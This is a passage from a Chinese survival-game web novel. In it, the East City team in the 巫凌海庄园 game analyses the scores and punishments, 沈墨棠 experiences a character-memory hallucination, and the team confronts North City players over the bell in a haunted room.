宋白河又一次帮她调整到舒服的姿势,伸手整理她鬓角的发丝,笨拙的手指掠过耳朵,动作稍显僵硬。听清沈墨棠的话后,他便停下来将白天发生的一切,以及小六姐告诉他的一切,一五一十详实讲述一遍。
沈墨棠没有多余力气了,只是静静听着,适时“嗯”了声,既像是提醒宋白河继续说,又像是虚弱的哀呻。
他说完后,她顿了下头,两人沉默。
“西城可能真的有机会。”沈墨棠梦呓一般。
宋白河对西城的命运并没有那么关心:“嗯?为什么?”
“昨天有四个人扣分。”沈墨棠尽力起身抬头,去看宋白河的眼睛。
宋白河低头,不经意间撞进沈墨棠漆黑的瞳孔里,一晃眼像是穿过夜空,群星乍现。
失神片刻,恍惚间听见她声音淡淡:“南城和北城是怎么扣分的?”
宋白河抿着嘴,好一会才意识到沈墨棠是在问他,张嘴“啊”了半天,却半个字都蹦不出来。
“……?”
沈墨棠眯眼。
西城的大块头因为无法选择房间而直接“淘汰”,但现在还没弄清楚南城的柯思思以及北城的秃头男到底和谁进了同一间[凶屋]。
“是,是……”宋白河舔了下干燥的嘴唇,看着沈墨棠又要皱起来的眉头,心脏狂跳,嘴里的话却那么言不由衷:“……是因为他们……和别人选到相同的房间……”
“废话。”
沈墨棠打断他的吞吞吐吐,露出一丝不满的神色:“谁和他们一起?”
宋白河晃了晃神:“啊?”
“早上没看到有人受伤。”沈墨棠继续道:“被扣分的人都好好的……那个北城的男人会输给谁?一点争斗的痕迹都没有吗?”
沈墨棠注意到宋白河一直看她,最终问了句:“你怎么看?”
“我……”宋白河突然深呼吸了一下,眨眨眼,移开视线,一本正经地思考:“我觉得……”
他看了沈墨棠一眼,试着分析:“我觉得,是不是,他们有什么交易?”
沈墨棠点点头:“推断合理。”
他笑了起来。
“但不现实。”沈墨棠抬起眼睛。
他不笑了。
“更有可能,是他们和我们一样。”沈墨棠忧心忡忡:“第一晚过后,大家都发现夜里没有陶瓷娃娃,而且你和西城那人打得这么凶,其他人都看在眼里。”
“所以第二天晚上,自认为打架没胜算的人,会选择和队友同一个房间,就像我一样。”
沈墨棠喘了口气,把话说完:“我认为南城和北城的人,都有两个队友选同一个房间。”
“我明白了。”宋白河接话,没让沈墨棠继续说。“和我们一样。”
沈墨棠点头,撑不住身体慢慢倒下,重新靠在宋白河的肩膀。肩膀的主人僵了一下,顺势侧身,让她靠得舒服些。
他的声音在头顶继续:“要按照这么说,其实每个城只有两个人得分,西城的分数和其他城差不多。只要他们两个一直拿分,最后还是有机会赢。”
“嗯。”沈墨棠轻呢,合眼。
头顶的声音却没有停:“对了,我想起一件事,刚才没提到。”
“嗯。”
“你被惩罚的时候,是被电吗?”
“嗯。”
“但是……你两次都吐了,吐……泥沙。”
“嗯?”
“但西城的那个中年男,被小六姐卸了胳膊的人,他说他受惩罚的时候,就只是电击,没有吐,而且很快就能醒来。”
“什么?”沈墨棠睁开眼。
“就是没有其他的反应。”宋白河停了一下,“还有……北城的那个秃头男,他也是被电晕,但是我看北城他们好像不紧张。北城那个秀老板昨天也被电了啊,他们应该……我是觉得,他们应该是知道惩罚很严重的,但就是……”
经宋白河这么一说,沈墨棠微微皱眉,也觉察到哪里不对劲。
北城秃头男晕倒的时候,沈墨棠是在场的,还跟秀老板交谈过——丝毫没有感
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觉出来,北城有将“惩罚”当一回事。
是因为他们体质太强了吗?
又或者是自己的身体真的弱不禁风?
沈墨棠有点不服,重重喘了口气。
感受到她的起伏,宋白河说出他的疑惑:“我在想,是不是你们的惩罚不一样?呃,就是说为什么你被电,会吐那么多水?看上去像溺水的人一样!”
“你觉得呢?”她又合眼,调整了姿势,让自己靠得更舒服些。
宋白河恍惚间觉得身边是一只疲惫的大猫,软软地瘫在他身上。
他等了一会,没听到沈墨棠再说话,于是迟疑道:“我是想明天看看,惩罚是不是都一样。所以等下你摇铃,然后明天……你和小六姐留在戏台上,我会先走。”
“嗯?”
“我先去那个河田楼的三楼,那里比较近。如果我自己醒了就没事,如果没醒,就等你们来。”
宋白河说完,窗外响起“邦”、“邦”、“邦”的敲打声。
等梆子声过后,沈墨棠才弱声道:“不安全。”
“安……”
“只有你走,他们会猜出来的。我跟你一起。”她长长吸气,撑起身体:“摇铃吧。”
他心领神会,立即搀扶她站起身。
铃铛挂在房梁上,有点高度,沈墨棠站起来完全够不着。
她看了一眼长椅,宋白河见她难以抬腿,便直接将她拦腰抱起,放到长椅上。沈墨棠的腰被托着,在长椅上晃晃悠悠站直。
沈墨棠低头便能看到宋白河的头顶,嗯,发量茂密,没有要秃的趋势。
随即听见宋白河的声音:“够得到吗?”
沈墨棠昂着脑袋,努力抬手,摇了摇头。
“扶稳了。”
还没反应过来,他就将她放到自己的肩膀上,荡开的两条腿被他单手箍着,她本能地抓住他的头发,保持平衡。
身体一晃,随后升起来,因为他踩上了长椅。
“欸!”
沈墨棠慌张地叫了一声,脑袋差点撞上天花板。
还好,“座下”宋白河有所意识,赶紧半蹲在长椅上,没有完全站起。“可以吗?”
——叮铃铃!
钟形铃铛被摇响,发出清脆的铃声,然后消失不见。
屋内广播:“恭喜摇响铃铛的玩家逢凶化吉!其他玩家,您的惩罚将在天亮后降临!”
宋白河小心下了长椅,将沈墨棠放下,继续帮她调整到舒服点的角度。
沈墨棠听到宋白河凑近的胸膛内发出震荡,犹如擂鼓,咚咚跳着。
她不自然地盯着高处,突然发出一声叹息:“你为什么不直接把铃铛拿下来给我就好?”
“我……”
“没事。”沈墨棠嘴角微扬:“嗯。”
昏暗的屋内安静了。
沈墨棠闻到宋白河呢子西装上那股淡淡的织布味,眼睛猛地一亮,若有所思。
不多时,窗外出现第二次梆子声:“邦邦”、“邦邦”、“邦邦”……
然后,是第三次梆子声:“邦邦邦”、“邦邦邦”、“邦邦邦”……
第四次梆子声:“邦邦邦邦”、“邦邦邦邦”、“邦邦邦邦”……
直至天亮。
房门打开,两个陶瓷娃娃一前一后站在门口:
“请玩家前往燕台集合。”
96. 巫凌海庄园23
第四天清晨。
【巫凌海庄园】内天色变得很快。
离开房间的时候天还蒙蒙亮,等踏上曲桥,来到湖中岛,太阳已经出来了。
没有温度的日光如涨潮般一点点漫过高低错落的建筑,在湖面划出清晰的淡金色潮汐线,再一个浪头爬到燕台上。
燕台上12张凳子,11位玩家,11个陶瓷娃娃。
沈墨棠跟宋白河登台的时候,周彤已经在台上。见到沈墨棠后,她只微微侧了脸,表示昨晚没遇到其他玩家。
沈墨棠又扫了一眼所有人,没发现有什么新的争斗或着伤情。
大家都跟昨天差不多,状态稍微低迷。
很快,陶瓷娃娃齐声:“玩家到齐,公布当前分数情况。”
山墙血字:
【DAY4】
【00:00】
【子:0】【丑:5】【寅:5】【卯:6】【辰:3】【巳:4】【午:2】【未:2】【戌:1】【酉:7】【申:7】【亥:5】
【今日可选择房间:“甲”、“乙”、“丙”、“丁”、“戊”、“己”、“庚”】
11双眼睛,22颗眼瞳,锁定山墙信息,各自透着不同的情绪。
……
短暂的沉寂中,第四天的时间开始流淌。
【00:01】
【00:02】
【00:03】
【00:04】
一反常态的,没人开口说话。
有些目光看向南城老仙儿,但他都回避了,只是一心盯着山墙,嘴巴微动,拇指来回掐点其他指节,显然是在计算。
至于西城的白八筒和白九筒,反而给人一种“松了一口气”的感觉,神色间也有掩藏不住的喜色。
北城三人表情沉重,看不出太多情绪。
沈墨棠吹了下刘海,专注山墙信息。
经过三个夜晚,玩家之间的分数已经逐渐拉开,最高的7分,最低0分。
玩家在一天中能获得的分数是“负1到正3”这个区间,也就是说现在山墙上的分数,最高分和最低分差了整整两天的分数。
当然,严格意义上来说,排除淘汰的西城大块头“子”,目前仍在场玩家,的最低分是“戌”的“1分”。
“戌”昨天是“0分”,今天是“1分”,依旧垫底。
最高分有两个,分别是小六姐的“酉”,以及未知的“申”,两人都是7分。
前两天保持最高分的“亥”在第三个晚上竟然没有得分,依旧是5分。
此外,“丑”、“寅”也都追到5分,“卯”是6分。
以上六人都算是靠前的分数。
宋白河的“辰”是3分,沈墨棠的“午”是2分,基本是“拉低平均分”的存在,所幸周彤冲到全场最高的7分,东城三人相加分数总算没有落后。
今天场上总分是47分,扣去昨天31分,昨晚依旧产生了16分,有4名玩家被扣分。
东城昨天总分8分,今天总分12分,刚好又拿到16分当中的1/4。
根据分数变化,今天沈墨棠还可以继续缩小自己[喜爱]、[憎恶]的范围……
“嗯……”
沈墨棠揉了揉太阳穴,注意时间:
01:23……
01:24……
01:25……
再过一会,宋白河就要遭受“惩罚”,必须尽快离开。
……
“哗——”
就在这时,南城的三人突然相继起身。
随后一声不吭地,在众目睽睽之下离开燕台。
走了?
今天南城确实有点沉默得反常……
望着那三道粉色的身影消失在台下,沈墨棠意识到什么,又看向北城——北城的秀老板朝这边展露一抹笑意,诡异得像是猫头鹰开口笑。
“先走啦,你们好好聊呀。”
秀老板同时朝东城和西城打招呼,然后跟两名队友一起默默离开。
燕台上瞬间只剩东城和西城。
昨晚有4人扣分,而南城和北城这么着急离开,证明他们和昨天一样,都有人要接受“惩罚”!
东城也是……
沈墨棠刚叫起宋白河和周彤,就看到对面西城的两个白衬衫交头接耳说了什么,目光不时看向这边,随后面带微笑走来,王宇韬热情得有些过分:“小姐姐,你们昨天怎么样了?”
不知道为什么,明明是盈盈笑脸的亲切问候,沈墨棠却只感觉到危险。
如果被他们缠上,他们就会知道“东城昨晚的扣分者变成了宋白河”这件事。
还有,既然他们不着急离开,甚至还主动前来打招呼,就表示他们两个应该都没有扣分——昨晚的四个扣分者当中,别忘了还需要将被淘汰的大块头算上。
“我们有点事。”
沈墨棠扶着宋白河起身,冲西城冷冷道。
昨天晕一天了,今天要先找个隐蔽的地方,理一下当前的线索跟战况。
不能再让其他人跟着了。
很明显,王宇韬还想跟小六姐继续说话,被小六姐一个白眼堵了回去。
东城三人立即动身,丢下停在原地的西城两人,抓紧时间,走得很急,很快。
三个陶瓷娃娃紧跟在身后,发出沉重的脚步声。
下了燕台,来到假山小径时,头顶还传来王宇韬大声询问:“小姐姐!我们今天要不要商量一下?”
感受到身旁小六姐的视线,沈墨棠轻轻摇头。
三人尽量不发出任何声音,也不给回应,踏上曲桥,迅速前往岸上。
……
撇开西城的人,沈墨棠才松了一口气。
昨晚她摇了铃铛,第一次主动拿分。
但今天只加1分,证明昨晚她[喜爱]的人扣分了,[憎恶]的人加分了。
拿到了摇铃的分,失去了“爱、憎”的分。
从前两天的推断中,能确定沈墨棠[憎恶]的人是“西城大块头”、“西城中年男”、“北城秀老板”当中的一个。而今天她[憎恶]的人加分了,也就排除了“西城大块头”。
西城中年男、北城秀老板,谁才是她[憎恶]的人呢?
从刚刚燕台上的情况来看,“西城中年男”昨晚必然是加分了。
现在只需再确定“北城秀老板”昨晚的情况。
无论如何,现在[憎恶]的范围已经缩小到两人——接下来的游戏中,只要尽量让这两人扣分,沈墨棠的得分将会更高。
此外,昨晚沈墨棠[喜爱]的人扣分了,锁定在昨晚的四个扣分者之一。
又因为她第一天[喜爱]的人是加分的,所以排除第一天的扣分者“西城大块头”。
即:沈墨棠[喜爱]的人,是昨晚除“西城大块头”之外的三个扣分者之一。
还有周彤昨晚拿了满分“3分”,也就是她不仅自己得分,[喜爱]的人也得分了,[憎恶]的人扣分了——证明周彤[憎恶]的人是第三天的四个扣分者之一。
分析完第三天的结果,沈墨棠已经身心俱疲。
要是现在能给有一块披萨和一杯可乐,绝对能立刻满血复活!
想什么呢……
哪里来的披萨可乐?
沈墨棠重重甩了甩头,头发在脸上拍了两下,然后被甩到脑后,只留下蓬松的齐刘海遮盖眉毛,挂着明显眼袋的双目无神,缓缓瞥向旁边躺在地上的宋白河。
东城三人呆在一个叫做“清风玉琼厅”的建筑内。
这里空间很大,像
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是什么挂书画藏品的展厅一类的地方,需要顺着湖边游廊走一大段,经过一个小亭子和一个大亭子,踏入种有广玉兰的布满杂草的别院。
“清风玉琼厅”就在一颗高高的朴树旁边。
按照沈墨棠和宋白河的打算,原本三人是往“长香居”的方向走,但是在经过门楼外时,见到里面包括陶瓷娃娃在内的六个黑色身影。
周彤瞥了一眼发现是北城的人,于是三人迅速改变计划,继续顺游廊往前。
宋白河当先跑了一段,穿过不知名的小亭子和大亭子,指向游廊外的偏僻院落:“这里没人。”
然后就被跟在身后的陶瓷娃娃“轻轻一抱”,瞬间触电倒地。
一百多斤的强壮身体往地上一躺,该怎么才能将他转移到不是人来人往的地方呢?
沈墨棠正苦恼着,体能优异的小六姐已经一路将宋白河拖进“清风玉琼厅”。
院子里的杂草被他碾出一条道,他身上的露腰灰西装也磨得脏兮兮的,扣子全都崩开。
“身材不错。”小六姐靠在门边大喘气,也不知道是在夸宋白河还是在抱怨。
沈墨棠:“很重吧?”
“杀过人的都知道,杀人容易,抛尸难。这玩意儿,现在可不跟尸体似的?”小六姐说着,朝地上的宋白河歪过头。
沈墨棠轻咳一声,略显担忧:“他能自己醒吗?”
“昨天、前天,都是他给你做心肺复苏……”
周彤意有所指,耸耸肩:“所以我不知道。”
心肺复苏?
其他队伍也有人遭受“惩罚”,但不可能每个队里刚好都有人学过心肺复苏吧?
沈墨棠轻蹙眉头,凑到宋白河面前:“他不会死了吧?”
“你们两都相互担心呢。”
小六姐嘴上说着,但还是跟着蹲到宋白河身边,探了他的鼻息,又摸了他的脉搏,冒出一声:“奇怪……”
“他还有呼吸呢。”她顺势坐在地上,也不管地上脏兮兮的。
“小六姐,有呼吸……哪里奇怪了?”沈墨棠坐到宋白河的另一边,三人呆在建筑大门后,背对门外的阳光。
只见小六姐又确认了一次宋白河的鼻息:“他比你好多了。”
“嗯?”
“呐,小九,你看他,就是昏倒。”小六姐推了一下宋白河的脑袋,让他姿势舒服点,继续说:“但你当时,没有心跳、没有呼吸。”
“我?”沈墨棠歪着脑袋。
小六姐毫不客气:“你差点死了,小九。”
“……”
“两次。回头我跟姚紫文说,得给你加练,体质太差了。”
“嗯。”
沈墨棠深吸一口气,眉头皱得更紧,撅了嘴。
自己身体有这么差吗?
“叮~”、“叮叮~”
突然。
空旷的建筑内响起叮叮当当的音乐,清脆无比,悦耳、突兀又怪异。
沈墨棠耳朵动了动,诧异地抬头,看到一个个雕刻精美的乌木展台,摆满整个大厅,间隔相等,颇为壮观。
许多展台上都有透明的玻璃罩子,里面陈列各种新奇的玩意儿,黄铜的钟表、青色的琉璃兽、木雕佛、镌刻梵文的铁盒子等……墙上挂有许多字画毛毯,除了写意的毛笔字和山水图以外,还有色彩艳丽的油画、织工精湛的挂毯。
“清风玉琼厅”根本就是私人庄园的藏品展厅!
“听,我没骗你吧,这玩意儿比戏好听。”
模糊的人影站在右侧的一个展台边,展台的玻璃罩已经打开,里面那只黄鹂造型的小物件正被他拿在手中,发出清脆悦耳的曲调。
“叮~”、“叮叮~叮叮~~”、“叮~叮~”……
沈墨棠揉了揉眼睛,但始终看不清那人的脸。
97. 巫凌海庄园24
喉舌在动,嗓子在发声,却听不见自己说了什么。
仿佛从嘴里发出的声音与耳朵的听力系统之间,隔着厚厚的一层隔音棉。
眼前人影的回应倒是听得格外清晰:“我知道你不喜欢这些洋玩意儿。”
他一手将琉璃鸟举到身前,另一手把发条钥匙放回展台:“它叫八音盒,用这个拧它就能出声。”
在跟我说话?
沈墨棠想凑上前看仔细,无奈身体不受控制地后退一步,又说了什么。
八音盒清脆的金属拨片声开始变慢:
“叮~”、“叮~~”、“叮~~~”
声音还没完全停下,就被他放回展台,罩上玻璃罩。
他一边喃喃:“好吧,晓楠就很喜欢。老爷专门给她买了一个小的,不像鸟,像只小□□哈哈!”
老爷?
“不是,我……我之前一直都叫老爷的,最近才让我改口。”
他说话的时候不卑不亢,仿佛所说内容与自己毫不相干:“你刚来没多久不晓得,我……我其实是老爷捡来的,那些人,他们明面上叫我少爷,背地里都……”
说到一半,他沉默片刻,忽然换了话题:“我们去找晓楠玩儿吧!给你看看她的八音盒长什么样儿,走!”
沈墨棠的手被他一把牵起,往门口走去。
脚下绊到什么东西,身体瞬间失去平衡……
“小九!”
“呃!”
两个声音同时响起——小六姐从身后出现,一把拽住险些跌倒的沈墨棠;躺在地上的宋白河则睁着眼睛,与沈墨棠大眼瞪小眼。
阳光倾洒,尘埃盘旋。
周围一片破败,空旷的“清风玉琼厅”早已没有任何完整的东西。
沈墨棠晃了晃神,后撤了一步,收回踩到宋白河肚子的脚,站好。
宋白河随即坐起身,面色苦痛:“你是为了救我吗?没有这样子救人的吧……”
“你醒啦。”
周彤大致确认了宋白河没问题,随后拍拍沈墨棠的肩膀:“小九,你没事吧?”
“我没……啊?”宋白河抬着头,很快反应过来小六姐关心的不是他。
没事吧?
沈墨棠晃了下脑袋,眨眨眼,看清周围环境,听清每个声音。
“嗯。”
发了会呆,然后再次晃晃脑袋:“我刚才出现幻觉了……”
是幻觉……前两天内,宋白河和小六姐都出现过的那种“角色记忆”。
是“裴珠”的记忆?
齐刘海下,双目紧闭,试图捕捉转瞬即逝的回忆细节:幻觉中的那个少年给她看了八音盒,还说“老爷专门给晓楠买了一个”。
“晓楠”是谁?也是12个角色之一吗?
另外,他好像说是“老爷捡来的”,还说什么“他们明面上叫我少爷”……
沈墨棠睁眼,对上宋白河的眼睛。
他咬了下牙,小心翼翼问:“很痛苦的记忆吗?”
沈墨棠摇头。
痛苦倒是不痛苦……就是,不知所云……
“你既然醒了,”沈墨棠再一次好好端详这间残破的大厅:“有遇上幻觉吗?”
宋白河脸上满是疑惑。
沈墨棠退后两步,皱起眉:“一点都没有?”
怎么回事?
刚才幻觉里的少年——被下人们明面上叫“少爷”,背地里都辱骂他“捡来的野种”、“下贱的畜生”的被另一个少爷欺凌的“少爷”——按之前宋白河描述的,这个“少爷”几乎就是他的角色“巫乐安”!
这就说得通了。
北城之前说过巫老爷无法生育,但庄园里有“两个少爷”,而“巫乐安”应该就是捡来的那个。
可是宋白河为什么在这个场景里没有产生幻觉?
“一点都没有。”宋白河从地上爬起来,说得很确定。
宋白河刚刚从“惩罚”中转醒,可能因为昏迷的关系,所以才没有幻觉吧?
沈墨棠这么想着,忽然意识到不对劲:“你确定一点幻觉都没有?不是角色记忆,被电后,也没有……巨人?”
“巨人?”
宋白河的“困惑”升级成“一头雾水”。
旁边的小六姐倒是很快反应过来:“巨人?是我一开始看到的?”
沈墨棠凝眸,深吸气:“小六姐,我不确定是不是同一个巨人,但是,被惩罚的时候,我看到了。”
她朝宋白河投去征询的眼神:“你确定你没看到?”
他认真地,很慢很慢地摇头否认,确定自己没看到什么“巨人”。
“嗯……”
沈墨棠抿嘴沉默。
宋白河没看到巨人,没出现任何幻觉,心跳呼吸也都在,也没有呕吐泥沙……
不对……再看宋白河,从“电击惩罚”中转醒,仅仅是气色稍显颓唐,此外一点事没有?
“我说你体质太差,可能是晕过去看到太奶。”
周彤一拳砸向宋白河的背,见他脸都扭曲了,身体却纹丝不动,不由得啧了一声:“体格不错。”
她转向沈墨棠:“我看到巨人的时候,是清醒的。”
清醒的?
沈墨棠略显烦躁地吹动刘海。
难道真的是体质问题?
人跟人之间的差距真的这么大?
自己的体质,差到只是被电一电就能看到太奶的地步?
而太奶变成了巨人?
沈墨棠晃晃头,甩掉脑子里不切实际的臆想。
随即用下巴指向厅内,示意宋白河:“你到处走走。”
“啊?”
“没错,往里面走,犄角旮旯那边,走过去,绕两圈。”
“……”宋白河沉默着听话,迈开脚步,绕厅一圈,过程中时不时投来不解的眼神。
最后,当他回到门后位置时,沈墨棠又问了一遍:“还是没幻觉?”
他摊开手:“没有啊!”
“……”
“小九,你发现了什么?”周彤比较直接。
“小六姐……”
沈墨棠将刚刚得到的角色记忆共享给两人,又大致说了每当受到“惩罚”的时候,伴随着“巨人”异象,精神上那种难以言喻的痛苦。
庄园静悄悄的,门外院落里的杂草无风自动,孤零零的广玉兰数宛若阳光下亭亭玉立的姑娘,而建筑旁的朴树则高高守望。
“所以巨人是什么?”
听完沈墨棠讲述,周彤脸色发沉。
这已经超出了她的理解范围。
如果巨人是清醒时看到的,说明巨人是真的,几人还有打败巨人的机会……但如果巨人出现在幻觉中,那这巨人到底是什么?怎么打?
“肯定不是我太奶。”
沈墨棠罕见地打了个趣,厅内陷入短暂的安静。
片刻,宋白河突然说:“巨人的事我不清楚,但……你的意思是,我如果来过这里……呃,我的意思是,我的角色,巫乐安,如果来过这里,我就会看到幻觉吗?”
沈墨棠紧锁着眉:“嗯?”
“我是觉得……”宋白河组织了语言:“巫乐安是少爷,他肯定到过庄园里很多地方,什么……反正各种地方都有去过,桥,湖,这房间那房间……但是我只在……河田楼三楼,有过幻觉。”
沈墨棠眼睛一亮。
宋白河语速加快:“我是想说,不一定只要到过,就有
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幻觉。”
沈墨棠点了头:“有道理。”
宋白河觉得思路越来越清晰,说话也越来越流畅:“我的意思是,角色在庄园很多地方都活动过,说不定只有特定的场景会触发幻觉。”
沈墨棠接过话:“而这些特定的地方,应该是角色记忆深刻的场合、事件等等,才会在记忆里留下……‘烙印’。”
角色生活在庄园里,不可能永远只在一个房间里活动。
但会让角色产生触动的场景,一定是TA曾经在这里发生过什么,以至于记忆深刻。
而这种“深刻”显然是相对的。
比如同一件事,对于不同的参与角色而言,可能有完全不同的感受。
比如裴珠可能会对八音盒记忆深刻,但巫乐安就不这么想了,可能会觉得只是件不值一提的小事。
很好理解,像追星族亲眼见到偶像,会觉得兴奋难忘;但对于偶像本身而言,可能这就只是一场日常的、普通的海报签售会。
周彤终于听明白了:“也就是这里的事只对你印象深刻,但对他来说毫无记忆。”
“所以你喜欢他,但他可能不喜欢你。”她最后总结。
……是这么说没错,但总感觉……
“小六姐你不要乱讲!”
宋白河兵荒马乱意有所指,甚至想剖腹取粉自证清白:“是巫乐安!是巫乐安不喜欢裴珠!不是我!”
周彤一噎:“你不就是巫乐安?!你的意思是你喜欢裴珠?裴珠都死了多少年的人了你见过裴珠吗你?”
又是一阵沉默。
太阳已经越过头顶,正在坠往另一侧。
……
幻觉归幻觉,但现在什么都无法确定,犹如笼罩着朦朦胧胧的迷雾,许多事情都只露出轮廓,却还无法看清确认真相,总给人“就差一点点”的错觉。
无论如何,还是要关注游戏本身。
“嗯……”
沈墨棠叹气,瞥向门外天光:“接下来,要开始抢房间了。”
“抢房间?”
宋白河和周彤停下话题。
沈墨棠眸子里闪过一抹锐利:“连着两天没冲突了。”
“冲突?”
“这两天都是4个人扣分,而且每队刚好一个。”沈墨棠又深吸一口气:“也就是说,每个队都有两个人得分,剩下的那个人和队友在一起,主动扣分。”
周彤张嘴,抽了下脸颊:“就跟我们一样?”
“就跟我们一样,大家都选择了保守策略。”沈墨棠继续道:“但是今天晚上,房间只有七个。”
“房……”宋白河醍醐灌顶,摇着手:“每队两人,总共8个人拿分,至少需要八间房……但是今天只剩下七个房间能选!”
所以,除非今晚有哪个队甘愿全队进一个房间,否则必然发生冲突。
“那我们?”
“我们先不变。”沈墨棠靠在门后,节省站立的力气,缓缓道:“我们前几轮选的房间是‘丙’和‘戊’,第三和第五。今天是第八个‘辛’房间没了,选了‘辛’房间的人必须换房。”
“我们第五……”
“小六姐,先不着急,你的‘戊’房间会在最后一天关闭。在这之前,其他队会先动。”沈墨棠姿态放松,神色却无比凝重:“反正,接下来我们得做好准备,至少要控制两间房才有胜算!”
说着,她抬头看向宋白河和周彤。
周彤双手在胸前一叉,语气异常平静:“可以把人干掉吗?”
这话引得旁边的宋白河侧目。
“有必要的话,就动手。”沈墨棠强调,尤其是对宋白河:“这是永夜城,四方战,不用我多说吧。”
“嗯。”
98. 巫凌海庄园25
【巫凌海庄园】的时间过得特~别~快。
物理意义上的快。
“下午”到“傍晚”,在游戏中也就1个小时左右。
沈墨棠又饿又累。
玩这游戏真的太苦了!
“我去拿吧,你们歇会儿。”周彤指了指外面。
门口是一片屋檐的阴影,再往外草木萧瑟。
按理说事物在阳光下应该具有鲜活的生命力,可沈墨棠不论怎么看,都感觉这里是死的,一切都是假的,像是光影拉满逼真无比的游戏建模。
游戏里都是假的,只有玩家是真的。
“嗯。”
沈墨棠跨出门口,望着那颗广玉兰,树上全是叶子,没开花,但还是很好看。
阳光在枝叶间折射、穿透,令整棵树熠熠生辉。
宋白河脱下露腰西装,用它拍了拍门口的石阶,将沙土灰尘甩掉,然后又穿回身上。
等灰尘散开,周彤已经折返回院子。
她将宋白河事先藏起来的,从药房找出的绷带、药物等拿了过来,交给了他,并蹲坐到他清理过的地方,对宋白河那件露腰西装充满嫌弃:“你还穿回去?”
“嗯……”
宋白河将药物塞进西装口袋,也很无奈。
本来想找件大点的衣服,但没找到。
“穿上吧,这件西装也算立大功了。”沈墨棠不在意这些。
在周彤的邀请下,她坐到她旁边,恍惚间像是两个并排坐在旅游景点的游客。在某一天一起逛民国风的庄园,走累了,就相继在不起眼的展馆前找个阴凉的地方坐下休息。
现在就像是景区的午后,没太多游人,很安静,使人泛起困意。
“小六姐。”沈墨棠悠悠开口:“你杀过多少人?”
周彤望着沈墨棠的侧脸,确定她是认真在问,然后同样看向广玉兰树:“不记得。”
“那可真是杀人如麻……”沈墨棠翻了个眼,“幸好你在东城。”
周彤:“嗯,东城杀得最多。”
“……”
“你们接下来是聊杀人吗?”宋白河一边往腰上缠着绷带,一边插进话来。
“你好好弄,别耽误事。”沈墨棠缓了口气:“我们在聊怎么赢游戏。”
宋白河:“靠杀人?”
“早晚到这一步的。”沈墨棠躺在门口石板上,望着房檐和天空,“要靠你们了,你们可要保存好体力。”
“你呢?”
“我躺赢。”
宋白河:“啊?”
沈墨棠望着宋白河身上脏兮兮的呢子西装,以及他正往身上缠的绷带:
“嗯,但我们还是要提前做点准备。”
……
游戏时间过半,后半程才是需要重点投入精力的时候。
还得养精蓄锐。
日落西山,天色渐晚,草木昏黄。
黑夜彻底降临前,东城三人依旧选择了前两晚相同的房间:沈墨棠、宋白河选“丙”;周彤选“戊”。
“玩家请注意,即将进入夜晚。倒计时10……9……8……”
三人起身,整理状态,虽然身上有许多脏污已经拍不掉了。
夜幕垂落。
“3……2……1……”
倒计时结束。
“明天见,小九。”
“明天见。”、“小六姐明天见!”
下一秒,火光晕开……
……
沈墨棠的瞳孔猛地扩张!
眼前,昏暗的“丙”房间内,有两道黑影——北城的秃头男兵哥、秀老板。
“兵……”、“等下。”、“喂!”、“……”
小小的房间竟塞入了四个玩家!
分处房间四个角落,显得格外拥挤!
沈墨棠本能往后退,身前立刻出现宋白河。
碰上人了……
房间另一边,兵哥和秀老板同样讶异。
但很快,秀老板“咯咯”笑了两下,兵哥跟着低头冷笑,一开口露出一口黑漆牙套:“哈,是东城啊……”
屋内广播:
“玩家请注意,你们入住了凶宅!只有最先摇响铃铛的人能够逢凶化吉!”
四人都相继瞥了眼屋顶的铃铛。
一颗铃铛,四个玩家。
“算你们倒霉。”
兵哥甩了甩手臂,往前两步,志在必得:“我来摇铃咯。”
沈墨棠还没出声,宋白河就毫不犹豫上前,紧紧堵在兵哥面前。两人在房间中央,几乎是鼻头对着鼻头,眼睛锁着眼睛。
针尖对麦芒,分毫不让。
这么看来,二者体格相当。
宋白河高出半个脑袋,兵哥的手臂更粗壮一些。
沈墨棠在第一天曾和兵哥选了同个房间,当时她识趣地将摇铃机会拱手相让了。
所以当面对宋白河表现得如此强势,兵哥怒气汹汹的眼神里不由得发出威胁的光。
必须动手。
要争抢摇铃。
屋子中央的两人一动不动,全神贯注,以防对方偷袭。
“等一下!”
在兵哥发作前,沈墨棠抢先出声,侧身将视线投向房间远角的秀老板:“谈吗?”
秀老板一愣,一双大眼睛来回扫过,旋即笑道:“妹妹怎么啦?”
“我们打起来,西和南要坐收渔翁之利了。”
沈墨棠谨慎抬着手,像是在阻止冲突发生:“摇铃这件事,其实我们可以和平解决。最好是不要有人受伤。”
“妹妹,我们是一定要摇铃的哦!”秀老板又“咯咯咯”笑起来,扯得她肩膀一阵疼。
“哼。”
兵哥冷哼着推了宋白河的肩膀,力道不小不大,更像是挑衅。
宋白河只是站在原地,没有还手。
北城很强势,强势到认为就算要谈,也是应该他们先摇到铃之后再谈。
沈墨棠保持微笑,沉默片刻,然后摊开双手:“摇不摇铃我们无所谓,我就是想跟兵哥单独说一句。”
至少,双方达成了基本的共识——今晚东城不摇铃,让北城摇。
宋白河不动声色瞥了眼沈墨棠,没得到她任何反馈。
真不摇铃了?
至于兵哥,虽然同样有些疑惑,但想到沈墨棠第一天晚上的表现,还是咧嘴露出了牙套。
果然,东城这个女孩,只要选到[凶屋]就会主动让出摇铃的机会,尝试寻求合作。
毕竟在游戏之初,规则还未公布前,她就已经不断表明“合作”的意向了。
真是个又疯又蠢的人!
“找我?”兵哥阴阴笑着。
沈墨棠也笑了一下:“嗯。”
她又对宋白河:“你先让开,忘记我下午跟你说什么了吗?”
这话惹来对面秀老板的揶揄:“咯咯咯,妹妹下午跟你对象说啥悄悄话呀?”
“害,关你什么事。”
沈墨棠保持微笑,怼得秀老板又是“哎哟”一声,满脸戏谑。
没再管秀老板的眼神,沈墨棠转而冲兵哥招手:“我们有合作过,我可以告诉你我知道的关于游戏的事。”
“但我只能告诉你一个人。”
她指了指秀老板:“她不能听。”
“哟?妹妹你这是哪个意思啦?怎么我就不能听的啦?”秀老板明显愣住了。
这时宋白河已经听话退开,独留兵哥自己站在屋子中央。
“我不喜欢她。”
沈墨棠淡淡回了句,走到兵哥身旁,踮了下脚尖:“怎么样?要听吗?”
这女孩搞什么鬼?疯疯癫癫的?
但还是那句话,白捡的对手情报,不听白不听!
昏暗光线下,兵哥像是和秀老板互换眼色,随即配合沈墨棠俯身,目光却始终防备着宋白河耍什么花样。
宋白河和秀老板各自站在房间两端。
宋白河背靠里侧雕壁,秀老板背靠房门。
“……这些……”
沈墨棠的耳语声很轻,即便在小小的房间内也听不真切。
她指着雕壁,兵哥的目光也随之看过来,两人往屋子里侧挪了两步。
宋白河识趣地往多宝架靠了靠,让开位置,使自己
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不会挡着雕壁内容。
